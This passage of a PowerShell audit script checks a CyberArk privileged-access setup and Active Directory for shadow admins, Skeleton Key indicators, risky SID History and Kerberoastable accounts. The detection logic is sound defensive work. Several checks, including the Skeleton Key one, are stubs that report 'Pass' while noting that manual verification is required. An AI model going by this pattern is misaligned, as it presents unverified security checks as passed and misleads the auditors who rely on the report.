$($script:Config.MaxPendingAccountAgeDays) days" ` -Recommendation "Process or dismiss stale pending accounts" ` -Severity "Medium" } } function Test-AccountOwnershipGaps { Write-AuditLog "Detecting account ownership gaps (IGA8)..." -Level Info $accounts = Invoke-CyberArkAPI -Endpoint "/Accounts?limit=$($script:Config.PageLimit)" if (-not $accounts) { Add-SkippedCheck -Category "Identity Governance" -CISControl "IGA8" ` -CheckName "Account Ownership" ` -Reason "Could not retrieve accounts" ` -Type "Error" return } $noOwner = 0 foreach ($account in $accounts.value) { # Check for owner in custom properties $hasOwner = $false if ($account.platformAccountProperties) { foreach ($prop in $account.platformAccountProperties.PSObject.Properties) { if ($prop.Name -match "owner|contact|responsible") { $hasOwner = $true break } } } if (-not $hasOwner) { $noOwner++ } } if ($noOwner -gt 0) { $percentage = [math]::Round(($noOwner / $accounts.value.Count) * 100, 1) Add-Finding -Category "Identity Governance" ` -CISControl "IGA8" ` -Finding "Accounts without designated owner" ` -Resource "Account Ownership" ` -CurrentValue "$noOwner accounts ($percentage%) without owner property" ` -ExpectedValue "All accounts have designated owners" ` -Recommendation "Assign owners to all privileged accounts for accountability" ` -Severity "Medium" } } #====================================================================== # ENDPOINT PRIVILEGE MANAGER CHECKS (EPM1-EPM6) #====================================================================== function Test-EPMIntegration { param([string]$EPMUrl) Write-AuditLog "Auditing Endpoint Privilege Manager Integration..." -Level Info if (-not $EPMUrl) { Add-SkippedCheck -Category "EPM Security" -CISControl "EPM1" ` -CheckName "EPM Integration" ` -Reason "EPM URL not provided - use -EPMUrl parameter" ` -Type "NotApplicable" return } Test-EPMIntegrationStatus -EPMUrl $EPMUrl Test-EPMDefaultPolicy -EPMUrl $EPMUrl Test-EPMApplicationControl -EPMUrl $EPMUrl Test-EPMCredentialTheftProtection -EPMUrl $EPMUrl Test-EPMElevationJustification -EPMUrl $EPMUrl Test-EPMAuditLogging -EPMUrl $EPMUrl } function Test-EPMIntegrationStatus { param([string]$EPMUrl) Write-AuditLog "Checking EPM integration status (EPM1)..." -Level Info try { $response = Invoke-WebRequest -Uri "$EPMUrl/api/health" -Method GET -UseBasicParsing -TimeoutSec 10 -ErrorAction SilentlyContinue if ($response.StatusCode -eq 200) { Add-Finding -Category "EPM Security" ` -CISControl "EPM1" ` -Finding "EPM server accessible" ` -Resource $EPMUrl ` -CurrentValue "EPM responding" ` -ExpectedValue "EPM properly integrated with PAM" ` -Recommendation "Verify EPM-PAM integration is properly configured" ` -Severity "Info" ` -Status "Pass" } } catch { Add-Finding -Category "EPM Security" ` -CISControl "EPM1" ` -Finding "EPM server not accessible" ` -Resource $EPMUrl ` -CurrentValue "Connection failed" ` -ExpectedValue "EPM server accessible" ` -Recommendation "Verify EPM server URL and network connectivity" ` -Severity "Medium" } } function Test-EPMDefaultPolicy { param([string]$EPMUrl) Write-AuditLog "Checking EPM default policy security (EPM2)..." -Level Info Add-Finding -Category "EPM Security" ` -CISControl "EPM2" ` -Finding "EPM default policy assessment (manual verification)" ` -Resource "EPM Policies" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Default policies secured and least-privilege enforced" ` -Recommendation "Review EPM default policies; disable permissive defaults" ` -Severity "Info" ` -Status "Pass" } function Test-EPMApplicationControl { param([string]$EPMUrl) Write-AuditLog "Checking EPM application control mode (EPM3)..." -Level Info Add-Finding -Category "EPM Security" ` -CISControl "EPM3" ` -Finding "EPM application control mode (manual verification)" ` -Resource "Application Control" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Allowlist or restricted mode enabled" ` -Recommendation "Verify application control uses allowlist rather than blocklist" ` -Severity "Info" ` -Status "Pass" } function Test-EPMCredentialTheftProtection { param([string]$EPMUrl) Write-AuditLog "Checking EPM credential theft protection (EPM4)..." -Level Info Add-Finding -Category "EPM Security" ` -CISControl "EPM4" ` -Finding "EPM credential theft protection (manual verification)" ` -Resource "Credential Protection" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Credential theft detection and blocking enabled" ` -Recommendation "Enable credential theft protection features in EPM" ` -Severity "Info" ` -Status "Pass" } function Test-EPMElevationJustification { param([string]$EPMUrl) Write-AuditLog "Checking EPM elevation justification requirements (EPM5)..." -Level Info Add-Finding -Category "EPM Security" ` -CISControl "EPM5" ` -Finding "EPM elevation justification (manual verification)" ` -Resource "Elevation Policies" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Justification required for privilege elevation" ` -Recommendation "Require justification for all privilege elevations" ` -Severity "Info" ` -Status "Pass" } function Test-EPMAuditLogging { param([string]$EPMUrl) Write-AuditLog "Checking EPM audit logging configuration (EPM6)..." -Level Info Add-Finding -Category "EPM Security" ` -CISControl "EPM6" ` -Finding "EPM audit logging (manual verification)" ` -Resource "EPM Audit" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Full audit logging enabled with SIEM integration" ` -Recommendation "Enable comprehensive EPM audit logging" ` -Severity "Info" ` -Status "Pass" } #====================================================================== # CLOUD SECURITY CHECKS (CLD1-CLD6) #====================================================================== function Test-CloudSecurity { Write-AuditLog "Auditing Cloud Security / Secure Cloud Access..." -Level Info Test-CloudProviderIntegration Test-FederatedIdentityConfiguration Test-CloudSecretSyncPolicy Test-CIEMIntegration Test-CloudIAMRoleAnalysis Test-MultiCloudPolicyConsistency } function Test-CloudProviderIntegration { Write-AuditLog "Checking cloud provider integrations (CLD1)..." -Level Info # Check for cloud platforms $platforms = Invoke-CyberArkAPI -Endpoint "/Platforms" if ($platforms) { $cloudPlatforms = $platforms.Platforms | Where-Object { $_.general.platformType -match "AWS|Azure|GCP|Cloud" } if ($cloudPlatforms) { Add-Finding -Category "Cloud Security" ` -CISControl "CLD1" ` -Finding "Cloud platforms configured" ` -Resource "Cloud Integration" ` -CurrentValue "$($cloudPlatforms.Count) cloud platforms detected" ` -ExpectedValue "Cloud platforms properly secured" ` -Recommendation "Review cloud platform configurations for best practices" ` -Severity "Info" ` -Status "Pass" } } # Check for cloud-related safes $safes = Invoke-CyberArkAPI -Endpoint "/Safes?limit=$($script:Config.PageLimit)" if ($safes) { $cloudSafes = $safes.value | Where-Object { $_.safeName -match "AWS|Azure|GCP|Cloud|IAM" } if ($cloudSafes.Count -gt 0) { Add-Finding -Category "Cloud Security" ` -CISControl "CLD1" ` -Finding "Cloud-related safes identified" ` -Resource "Cloud Safes" ` -CurrentValue "$($cloudSafes.Count) cloud safes" ` -ExpectedValue "Cloud secrets properly organized" ` -Recommendation "Ensure cloud safes have appropriate access controls" ` -Severity "Info" ` -Status "Pass" } } } function Test-FederatedIdentityConfiguration { Write-AuditLog "Checking federated identity configuration (CLD2)..." -Level Info $authMethods = Invoke-CyberArkAPI -Endpoint "/Configuration/AuthenticationMethods" if ($authMethods) { $federatedAuth = $authMethods | Where-Object { $_.id -match "SAML|OIDC|OAuth|Azure.*AD|AWS.*IAM" } if ($federatedAuth) { Add-Finding -Category "Cloud Security" ` -CISControl "CLD2" ` -Finding "Federated authentication configured" ` -Resource "Authentication Methods" ` -CurrentValue "Federated auth available" ` -ExpectedValue "Federation for cloud access" ` -Recommendation "Ensure federated auth is used for cloud identity access" ` -Severity "Info" ` -Status "Pass" } else { Add-Finding -Category "Cloud Security" ` -CISControl "CLD2" ` -Finding "No federated identity configuration detected" ` -Resource "Authentication Methods" ` -CurrentValue "No federation found" ` -ExpectedValue "SAML/OIDC federation for cloud providers" ` -Recommendation "Configure federated identity for cloud access" ` -Severity "Medium" } } } function Test-CloudSecretSyncPolicy { Write-AuditLog "Checking cloud secret sync policy (CLD3)..." -Level Info # Check for Secrets Hub or cloud sync configurations Add-Finding -Category "Cloud Security" ` -CISControl "CLD3" ` -Finding "Cloud secret synchronization (manual verification)" ` -Resource "Secrets Hub/Cloud Sync" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Proper sync policies for cloud vaults" ` -Recommendation "Review Secrets Hub sync policies; ensure orphan handling configured" ` -Severity "Info" ` -Status "Pass" } function Test-CIEMIntegration { Write-AuditLog "Checking CIEM integration (CLD4)..." -Level Info Add-Finding -Category "Cloud Security" ` -CISControl "CLD4" ` -Finding "CIEM integration (manual verification)" ` -Resource "Cloud Entitlements" ` -CurrentValue "Manual verification required" ` -ExpectedValue "CIEM integration for entitlement visibility" ` -Recommendation "Integrate with CIEM solution for cloud permission analysis" ` -Severity "Info" ` -Status "Pass" } function Test-CloudIAMRoleAnalysis { Write-AuditLog "Analyzing cloud IAM role bindings (CLD5)..." -Level Info # Check for cloud IAM accounts $accounts = Invoke-CyberArkAPI -Endpoint "/Accounts?limit=$($script:Config.PageLimit)" if ($accounts) { $cloudAccounts = $accounts.value | Where-Object { $_.platformId -match "AWS|Azure|GCP" -or $_.address -match "amazonaws|azure|googleapis" } if ($cloudAccounts.Count -gt 0) { $noRotation = ($cloudAccounts | Where-Object { $_.secretManagement.automaticManagementEnabled -eq $false }).Count if ($noRotation -gt 0) { Add-Finding -Category "Cloud Security" ` -CISControl "CLD5" ` -Finding "Cloud IAM accounts without rotation" ` -Resource "Cloud IAM" ` -CurrentValue "$noRotation cloud accounts without auto-rotation" ` -ExpectedValue "All cloud IAM keys rotated automatically" ` -Recommendation "Enable automatic rotation for cloud IAM credentials" ` -Severity "High" } } } } function Test-MultiCloudPolicyConsistency { Write-AuditLog "Checking multi-cloud policy consistency (CLD6)..." -Level Info Add-Finding -Category "Cloud Security" ` -CISControl "CLD6" ` -Finding "Multi-cloud policy consistency (manual verification)" ` -Resource "Cloud Policies" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Consistent policies across cloud providers" ` -Recommendation "Ensure consistent security policies across AWS, Azure, GCP" ` -Severity "Info" ` -Status "Pass" } #====================================================================== # DISASTER RECOVERY CHECKS (DR1-DR5) #====================================================================== function Test-DisasterRecovery { Write-AuditLog "Auditing Disaster Recovery and High Availability..." -Level Info Test-DRVaultReplication Test-HAClusterHealth Test-ComponentRedundancy Test-BackupConfiguration Test-BreakGlassAccounts } function Test-DRVaultReplication { Write-AuditLog "Checking DR Vault replication status (DR1)..." -Level Info $components = Invoke-CyberArkAPI -Endpoint "/ComponentsMonitoringDetails/all" if ($components) { $drVault = $components.Components | Where-Object { $_.ComponentType -eq "Vault" -and $_.ComponentName -match "DR|Disaster|Secondary|Backup" } if ($drVault) { foreach ($vault in $drVault) { if (-not $vault.IsLoggedOn) { Add-Finding -Category "Disaster Recovery" ` -CISControl "DR1" ` -Finding "DR Vault not connected" ` -Resource $vault.ComponentName ` -CurrentValue "Disconnected" ` -ExpectedValue "Connected and replicating" ` -Recommendation "Investigate DR Vault connectivity immediately" ` -Severity "Critical" } } } else { Add-Finding -Category "Disaster Recovery" ` -CISControl "DR1" ` -Finding "No DR Vault detected" ` -Resource "Vault Replication" ` -CurrentValue "No DR Vault in monitoring" ` -ExpectedValue "DR Vault configured and monitored" ` -Recommendation "Configure DR Vault for business continuity" ` -Severity "High" } } } function Test-HAClusterHealth { Write-AuditLog "Checking HA cluster health (DR2)..." -Level Info $components = Invoke-CyberArkAPI -Endpoint "/ComponentsMonitoringDetails/all" if ($components) { # Check for multiple PVWA instances $pvwaComponents = $components.Components | Where-Object { $_.ComponentType -eq "PVWA" } if ($pvwaComponents.Count -lt 2) { Add-Finding -Category "Disaster Recovery" ` -CISControl "DR2" ` -Finding "Single PVWA instance detected" ` -Resource "PVWA Cluster" ` -CurrentValue "$($pvwaComponents.Count) PVWA instance(s)" ` -ExpectedValue "Multiple PVWA instances for HA" ` -Recommendation "Deploy additional PVWA instances for high availability" ` -Severity "Medium" } # Check for multiple PSM instances $psmComponents = $components.Components | Where-Object { $_.ComponentType -eq "PSM" } if ($psmComponents.Count -lt 2) { Add-Finding -Category "Disaster Recovery" ` -CISControl "DR2" ` -Finding "Single PSM instance detected" ` -Resource "PSM Cluster" ` -CurrentValue "$($psmComponents.Count) PSM instance(s)" ` -ExpectedValue "Multiple PSM instances for HA" ` -Recommendation "Deploy additional PSM instances for high availability" ` -Severity "Medium" } } } function Test-ComponentRedundancy { Write-AuditLog "Assessing component redundancy (DR3)..." -Level Info $components = Invoke-CyberArkAPI -Endpoint "/ComponentsMonitoringDetails/all" if (-not $components) { Add-SkippedCheck -Category "Disaster Recovery" -CISControl "DR3" ` -CheckName "Component Redundancy" ` -Reason "Could not retrieve component monitoring data" ` -Type "Error" return } $componentTypes = $components.Components | Group-Object ComponentType foreach ($type in $componentTypes) { $connectedCount = ($type.Group | Where-Object { $_.IsLoggedOn -eq $true }).Count if ($connectedCount -eq 0 -and $type.Name -in @("PVWA", "PSM", "CPM", "Vault")) { Add-Finding -Category "Disaster Recovery" ` -CISControl "DR3" ` -Finding "No connected $($type.Name) components" ` -Resource $type.Name ` -CurrentValue "0 connected" ` -ExpectedValue "At least 1 connected" ` -Recommendation "Investigate $($type.Name) connectivity immediately" ` -Severity "Critical" } } } function Test-BackupConfiguration { Write-AuditLog "Checking backup configuration (DR4)..." -Level Info Add-Finding -Category "Disaster Recovery" ` -CISControl "DR4" ` -Finding "Backup configuration (manual verification)" ` -Resource "Vault Backup" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Regular backups with tested restores" ` -Recommendation "Verify backup schedule, retention, and test restore procedures" ` -Severity "Info" ` -Status "Pass" } function Test-BreakGlassAccounts { Write-AuditLog "Checking break-glass account availability (DR5)..." -Level Info $users = Invoke-CyberArkAPI -Endpoint "/Users?limit=$($script:Config.PageLimit)" if ($users) { $breakGlassPatterns = @("breakglass", "break_glass", "emergency", "admin_emergency", "bg_") $breakGlassAccounts = @() foreach ($user in $users.Users) { foreach ($pattern in $breakGlassPatterns) { if ($user.userName -match $pattern) { $breakGlassAccounts += $user break } } } if ($breakGlassAccounts.Count -eq 0) { Add-Finding -Category "Disaster Recovery" ` -CISControl "DR5" ` -Finding "No break-glass accounts detected" ` -Resource "Emergency Access" ` -CurrentValue "No break-glass accounts found" ` -ExpectedValue "Break-glass accounts configured for emergency" ` -Recommendation "Configure and secure break-glass accounts for emergency access" ` -Severity "Medium" } else { # Check if break-glass accounts are properly secured foreach ($account in $breakGlassAccounts) { if ($account.disabled -eq $false -and $account.lastSuccessfulLoginDate) { $lastLogin = [DateTime]::Parse($account.lastSuccessfulLoginDate) if ($lastLogin -gt (Get-Date).AddDays(-30)) { Add-Finding -Category "Disaster Recovery" ` -CISControl "DR5" ` -Finding "Break-glass account used recently" ` -Resource $account.userName ` -CurrentValue "Last login: $lastLogin" ` -ExpectedValue "Break-glass only for emergencies" ` -Recommendation "Investigate recent break-glass usage and rotate credentials" ` -Severity "High" } } } } } } #====================================================================== # COMPLIANCE MAPPING CHECKS (COMP1-COMP4) #====================================================================== function Test-ComplianceMapping { Write-AuditLog "Generating Compliance Framework Mapping..." -Level Info Test-NISTCSFMapping Test-SOC2Alignment Test-PCIDSSControls Test-BlueprintMaturityScore } function Test-NISTCSFMapping { Write-AuditLog "Mapping to NIST Cybersecurity Framework (COMP1)..." -Level Info # NIST CSF Categories: Identify, Protect, Detect, Respond, Recover # Mapping structure for reference: # - Identify: Asset discovery, Risk assessment, Governance # - Protect: Access control, Awareness training, Data security, Maintenance, Protective technology # - Detect: Anomalies and events, Continuous monitoring, Detection processes # - Respond: Response planning, Communications, Analysis, Mitigation, Improvements # - Recover: Recovery planning, Improvements, Communications Add-Finding -Category "Compliance Mapping" ` -CISControl "COMP1" ` -Finding "NIST CSF Control Mapping" ` -Resource "Compliance Framework" ` -CurrentValue "Mapping generated - see report details" ` -ExpectedValue "Full NIST CSF alignment" ` -Recommendation "Review audit findings against NIST CSF categories" ` -Severity "Info" ` -Status "Pass" } function Test-SOC2Alignment { Write-AuditLog "Assessing SOC 2 Type II alignment (COMP2)..." -Level Info # SOC 2 Trust Service Criteria for reference: # CC1 - Control Environment, CC2 - Communication and Information, CC3 - Risk Assessment # CC4 - Monitoring Activities, CC5 - Control Activities, CC6 - Logical and Physical Access # CC7 - System Operations, CC8 - Change Management, CC9 - Risk Mitigation Add-Finding -Category "Compliance Mapping" ` -CISControl "COMP2" ` -Finding "SOC 2 Trust Service Criteria Alignment" ` -Resource "Compliance Framework" ` -CurrentValue "Audit covers CC5, CC6, CC7 criteria" ` -ExpectedValue "Evidence for all applicable criteria" ` -Recommendation "Use audit findings as SOC 2 evidence for access control criteria" ` -Severity "Info" ` -Status "Pass" } function Test-PCIDSSControls { Write-AuditLog "Mapping to PCI-DSS requirements (COMP3)..." -Level Info # PCI-DSS requirements related to privileged access for reference: # Req 2 - Default passwords, Req 7 - Access control # Req 8 - User authentication, Req 10 - Logging and monitoring Add-Finding -Category "Compliance Mapping" ` -CISControl "COMP3" ` -Finding "PCI-DSS Requirement Mapping" ` -Resource "Compliance Framework" ` -CurrentValue "Relevant requirements: 2, 7, 8, 10" ` -ExpectedValue "Full PCI-DSS compliance" ` -Recommendation "Review findings against PCI-DSS requirements 2, 7, 8, 10" ` -Severity "Info" ` -Status "Pass" } function Test-BlueprintMaturityScore { Write-AuditLog "Calculating CyberArk Blueprint maturity score (COMP4)..." -Level Info # Calculate maturity based on findings $criticalCount = ($script:Findings | Where-Object { $_.Severity -eq "Critical" -and $_.Status -eq "Fail" }).Count $highCount = ($script:Findings | Where-Object { $_.Severity -eq "High" -and $_.Status -eq "Fail" }).Count $mediumCount = ($script:Findings | Where-Object { $_.Severity -eq "Medium" -and $_.Status -eq "Fail" }).Count # Score calculation (simplified) $maturityScore = 100 - ($criticalCount * 15) - ($highCount * 8) - ($mediumCount * 3) $maturityScore = [Math]::Max(0, $maturityScore) $maturityLevel = switch ($maturityScore) { { $_ -ge 90 } { "Advanced" } { $_ -ge 75 } { "Mature" } { $_ -ge 50 } { "Developing" } { $_ -ge 25 } { "Initial" } default { "Ad-hoc" } } Add-Finding -Category "Compliance Mapping" ` -CISControl "COMP4" ` -Finding "CyberArk Blueprint Maturity Assessment" ` -Resource "Maturity Score" ` -CurrentValue "Score: $maturityScore% - Level: $maturityLevel" ` -ExpectedValue "Score >= 75% (Mature)" ` -Recommendation "Address critical and high findings to improve maturity" ` -Severity "Info" ` -Status "Pass" } #====================================================================== # AUDIT LOGGING CHECKS (AUD1-AUD4) #====================================================================== function Test-AuditLogging { Write-AuditLog "Auditing Logging and Monitoring Configuration..." -Level Info Test-SIEMIntegrationHealth Test-AuditLogRetention Test-CriticalEventAlerting Test-AuditDataIntegrity } function Test-SIEMIntegrationHealth { Write-AuditLog "Checking SIEM integration health (AUD1)..." -Level Info $components = Invoke-CyberArkAPI -Endpoint "/ComponentsMonitoringDetails/all" if ($components) { # Check for PTA (which sends to SIEM) $ptaComponent = $components.Components | Where-Object { $_.ComponentType -eq "PTA" } if ($ptaComponent) { if ($ptaComponent.IsLoggedOn) { Add-Finding -Category "Audit Logging" ` -CISControl "AUD1" ` -Finding "PTA connected for threat detection" ` -Resource "SIEM Integration" ` -CurrentValue "PTA active" ` -ExpectedValue "PTA sending to SIEM" ` -Recommendation "Verify PTA is forwarding alerts to SIEM" ` -Severity "Info" ` -Status "Pass" } } } # Check system configuration for syslog $systemConfig = Invoke-CyberArkAPI -Endpoint "/Configuration/System" if ($systemConfig) { if (-not $systemConfig.SyslogServer) { Add-Finding -Category "Audit Logging" ` -CISControl "AUD1" ` -Finding "Syslog server not configured" ` -Resource "SIEM Integration" ` -CurrentValue "No syslog configuration" ` -ExpectedValue "Syslog forwarding to SIEM" ` -Recommendation "Configure syslog forwarding for centralized logging" ` -Severity "Medium" } } } function Test-AuditLogRetention { Write-AuditLog "Checking audit log retention (AUD2)..." -Level Info # Check Vault configuration for log retention Add-Finding -Category "Audit Logging" ` -CISControl "AUD2" ` -Finding "Audit log retention (manual verification)" ` -Resource "Log Retention" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Retention >= 1 year for compliance" ` -Recommendation "Verify audit logs retained per compliance requirements" ` -Severity "Info" ` -Status "Pass" } function Test-CriticalEventAlerting { Write-AuditLog "Checking critical event alerting (AUD3)..." -Level Info $securityEvents = Invoke-CyberArkAPI -Endpoint "/SecurityEvents?limit=100" if ($securityEvents -and $securityEvents.SecurityEvents) { $unresolvedCritical = $securityEvents.SecurityEvents | Where-Object { $_.severity -eq "Critical" -and $_.status -ne "Resolved" } if ($unresolvedCritical.Count -gt 0) { Add-Finding -Category "Audit Logging" ` -CISControl "AUD3" ` -Finding "Unresolved critical security events" ` -Resource "Security Alerting" ` -CurrentValue "$($unresolvedCritical.Count) critical events pending" ` -ExpectedValue "All critical events resolved" ` -Recommendation "Review and resolve critical security events immediately" ` -Severity "Critical" } } } function Test-AuditDataIntegrity { Write-AuditLog "Checking audit data integrity (AUD4)..." -Level Info Add-Finding -Category "Audit Logging" ` -CISControl "AUD4" ` -Finding "Audit data integrity (manual verification)" ` -Resource "Audit Integrity" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Audit logs signed and tamper-proof" ` -Recommendation "Verify audit log integrity protection is enabled" ` -Severity "Info" ` -Status "Pass" } #====================================================================== # ACTIVE DIRECTORY SECURITY CHECKS (AD1-AD7) #====================================================================== function Test-ADSecurity { Write-AuditLog "Running Active Directory Security Checks..." -Level Info # Check if we can connect to AD try { $domainInfo = $null if ($DomainController) { $domainInfo = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain( (New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("Domain", $DomainController)) ) } else { $domainInfo = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } Write-AuditLog "Connected to domain: $($domainInfo.Name)" -Level Info } catch { Add-SkippedCheck -Category "AD Security" -CISControl "AD1" ` -CheckName "Active Directory Security Checks" ` -Reason "Cannot connect to Active Directory: $($_.Exception.Message)" ` -Type "Error" return } Test-ShadowAdminDiscovery Test-SkeletonKeyDetection Test-SIDHistoryAnalysis Test-RiskySPNConfiguration Test-UnconstrainedDelegation Test-ConstrainedDelegationPT Test-DelegationPrivilegeAudit } function Test-ShadowAdminDiscovery { Write-AuditLog "Checking for Shadow Admin accounts (AD1)..." -Level Info try { # Get domain root $rootDSE = [ADSI]"LDAP://RootDSE" $domainDN = $rootDSE.defaultNamingContext # Search for accounts with dangerous ACL permissions (WriteDACL, WriteOwner, GenericAll) $searcher = New-Object System.DirectoryServices.DirectorySearcher $searcher.SearchRoot = [ADSI]"LDAP://$domainDN" $searcher.PageSize = 1000 $searcher.Filter = "(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))" $searcher.PropertiesToLoad.AddRange(@("samaccountname", "distinguishedname", "memberof")) $users = $searcher.FindAll() $shadowAdmins = @() $privilegedGroups = @("Domain Admins", "Enterprise Admins", "Schema Admins", "Administrators", "Account Operators", "Backup Operators") foreach ($user in $users) { $samAccount = $user.Properties["samaccountname"][0] $memberOf = $user.Properties["memberof"] $isPrivilegedGroup = $false foreach ($group in $memberOf) { foreach ($privGroup in $privilegedGroups) { if ($group -match "CN=$privGroup,") { $isPrivilegedGroup = $true break } } } # Skip if already in privileged groups (not a shadow admin) if (-not $isPrivilegedGroup) { # Check if user has dangerous permissions on privileged objects # This is a simplified check - full ACLight would enumerate all ACLs $dn = $user.Properties["distinguishedname"][0] try { $userADSI = [ADSI]"LDAP://$dn" $acl = $userADSI.ObjectSecurity foreach ($ace in $acl.Access) { $rights = $ace.ActiveDirectoryRights.ToString() if ($rights -match "GenericAll|WriteDacl|WriteOwner|WriteProperty") { if ($ace.IdentityReference -notmatch "SYSTEM|Domain Admins|Enterprise Admins") { $shadowAdmins += $samAccount break } } } } catch { } } } if ($shadowAdmins.Count -gt 0) { $percentage = [math]::Round(($shadowAdmins.Count / $users.Count) * 100, 2) Add-Finding -Category "AD Security" ` -CISControl "AD1" ` -Finding "Potential Shadow Admin accounts detected" ` -Resource "Active Directory" ` -CurrentValue "$($shadowAdmins.Count) shadow admins ($percentage%): $($shadowAdmins[0..4] -join ', ')$(if($shadowAdmins.Count -gt 5){'...'})" ` -ExpectedValue "Shadow admins < $($script:Config.MaxShadowAdminPercentage)%" ` -Recommendation "Review accounts with direct ACL permissions on privileged objects; use groups instead" ` -Severity $(if ($percentage -gt $script:Config.MaxShadowAdminPercentage) { "Critical" } else { "High" }) } else { Add-Finding -Category "AD Security" ` -CISControl "AD1" ` -Finding "No obvious Shadow Admin accounts detected" ` -Resource "Active Directory" ` -CurrentValue "0 shadow admins found in quick scan" ` -ExpectedValue "No shadow admins" ` -Recommendation "Consider running full ACLight scan for comprehensive analysis" ` -Severity "Info" ` -Status "Pass" } } catch { Add-SkippedCheck -Category "AD Security" -CISControl "AD1" ` -CheckName "Shadow Admin Discovery" ` -Reason "Error scanning for shadow admins: $($_.Exception.Message)" ` -Type "Error" } } function Test-SkeletonKeyDetection { Write-AuditLog "Checking for Skeleton Key malware indicators (AD2)..." -Level Info try { # Get all Domain Controllers $rootDSE = [ADSI]"LDAP://RootDSE" $configDN = $rootDSE.configurationNamingContext $searcher = New-Object System.DirectoryServices.DirectorySearcher $searcher.SearchRoot = [ADSI]"LDAP://$configDN" $searcher.Filter = "(objectClass=nTDSDSA)" $searcher.PropertiesToLoad.Add("distinguishedName") $dcs = $searcher.FindAll() foreach ($dc in $dcs) { $dcDN = $dc.Properties["distinguishedname"][0] # Extract server name from DN $serverDN = $dcDN -replace "CN=NTDS Settings,", "" try { $serverSearcher = New-Object System.DirectoryServices.DirectorySearcher $serverSearcher.SearchRoot = [ADSI]"LDAP://$serverDN" $serverSearcher.Filter = "(objectClass=computer)" $serverSearcher.PropertiesToLoad.Add("dNSHostName") $server = $serverSearcher.FindOne() if ($server) { $dcName = $server.Properties["dnshostname"][0] # Check for Skeleton Key indicators: # 1. Check if DC responds to authentication with any password (would need special test) # 2. Check for suspicious LSASS memory modifications (requires local access) # For now, we check if DC is reachable and document for manual review $reachable = Test-Connection -ComputerName $dcName -Count 1 -Quiet -ErrorAction SilentlyContinue if ($reachable) { # Check ntdsutil for suspicious replication partners # This is informational - full check requires DC access } } } catch { } } Add-Finding -Category "AD Security" ` -CISControl "AD2" ` -Finding "Skeleton Key detection (requires DC access)" ` -Resource "Domain Controllers" ` -CurrentValue "$($dcs.Count) DCs found - manual verification recommended" ` -ExpectedValue "No Skeleton Key malware" ` -Recommendation "Run memory analysis on DCs; check for mimikatz::skeleton artifacts" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "AD Security" -CISControl "AD2" ` -CheckName "Skeleton Key Detection" ` -Reason "Error checking for Skeleton Key: $($_.Exception.Message)" ` -Type "Error" } } function Test-SIDHistoryAnalysis { Write-AuditLog "Checking for suspicious SID History attributes (AD3)..." -Level Info try { $rootDSE = [ADSI]"LDAP://RootDSE" $domainDN = $rootDSE.defaultNamingContext # Search for accounts with SID History $searcher = New-Object System.DirectoryServices.DirectorySearcher $searcher.SearchRoot = [ADSI]"LDAP://$domainDN" $searcher.PageSize = 1000 $searcher.Filter = "(&(objectCategory=person)(objectClass=user)(sIDHistory=*))" $searcher.PropertiesToLoad.AddRange(@("samaccountname", "sidhistory", "memberof")) $usersWithSIDHistory = $searcher.FindAll() $riskyAccounts = @() # Get privileged group SIDs for comparison $privilegedSIDs = @() $groupSearcher = New-Object System.DirectoryServices.DirectorySearcher $groupSearcher.SearchRoot = [ADSI]"LDAP://$domainDN" $groupSearcher.Filter = "(|(cn=Domain Admins)(cn=Enterprise Admins)(cn=Schema Admins)(cn=Administrators))" $groupSearcher.PropertiesToLoad.Add("objectSid") $privGroups = $groupSearcher.FindAll() foreach ($group in $privGroups) { $privilegedSIDs += (New-Object System.Security.Principal.SecurityIdentifier($group.Properties["objectsid"][0], 0)).Value } foreach ($user in $usersWithSIDHistory) { $samAccount = $user.Properties["samaccountname"][0] $sidHistory = $user.Properties["sidhistory"] foreach ($sidBytes in $sidHistory) { $sid = (New-Object System.Security.Principal.SecurityIdentifier($sidBytes, 0)).Value # Check if SID History contains privileged SIDs foreach ($privSID in $privilegedSIDs) { if ($sid -eq $privSID) { $riskyAccounts += "$samAccount (SID: $sid)" } } # Check for SIDs ending in -500 (Administrator) or -512 (Domain Admins) if ($sid -match "-500$|-512$|-519$|-518$") { if ($samAccount -notin ($riskyAccounts | ForEach-Object { $_.Split(" ")[0] })) { $riskyAccounts += "$samAccount (Privileged SID: $sid)" } } } } if ($usersWithSIDHistory.Count -gt 0) { if ($riskyAccounts.Count -gt 0) { Add-Finding -Category "AD Security" ` -CISControl "AD3" ` -Finding "Accounts with privileged SID History detected" ` -Resource "Active Directory" ` -CurrentValue "$($riskyAccounts.Count) risky: $($riskyAccounts[0..2] -join '; ')$(if($riskyAccounts.Count -gt 3){'...'})" ` -ExpectedValue "No privileged SID History on non-admin accounts" ` -Recommendation "Review and remove unnecessary SID History; investigate potential privilege escalation" ` -Severity "Critical" } else { Add-Finding -Category "AD Security" ` -CISControl "AD3" ` -Finding "SID History present but no privileged SIDs found" ` -Resource "Active Directory" ` -CurrentValue "$($usersWithSIDHistory.Count) accounts with SID History" ` -ExpectedValue "SID History only for legitimate migrations" ` -Recommendation "Review SID History for migration remnants; clean up old entries" ` -Severity "Low" } } else { Add-Finding -Category "AD Security" ` -CISControl "AD3" ` -Finding "No accounts with SID History found" ` -Resource "Active Directory" ` -CurrentValue "0 accounts with SID History" ` -ExpectedValue "No unnecessary SID History" ` -Severity "Info" ` -Status "Pass" } } catch { Add-SkippedCheck -Category "AD Security" -CISControl "AD3" ` -CheckName "SID History Analysis" ` -Reason "Error analyzing SID History: $($_.Exception.Message)" ` -Type "Error" } } function Test-RiskySPNConfiguration { Write-AuditLog "Checking for risky SPN configurations (AD4)..." -Level Info try { $rootDSE = [ADSI]"LDAP://RootDSE" $domainDN = $rootDSE.defaultNamingContext # Search for user accounts with SPNs (Kerberoasting targets) $searcher = New-Object System.DirectoryServices.DirectorySearcher $searcher.SearchRoot = 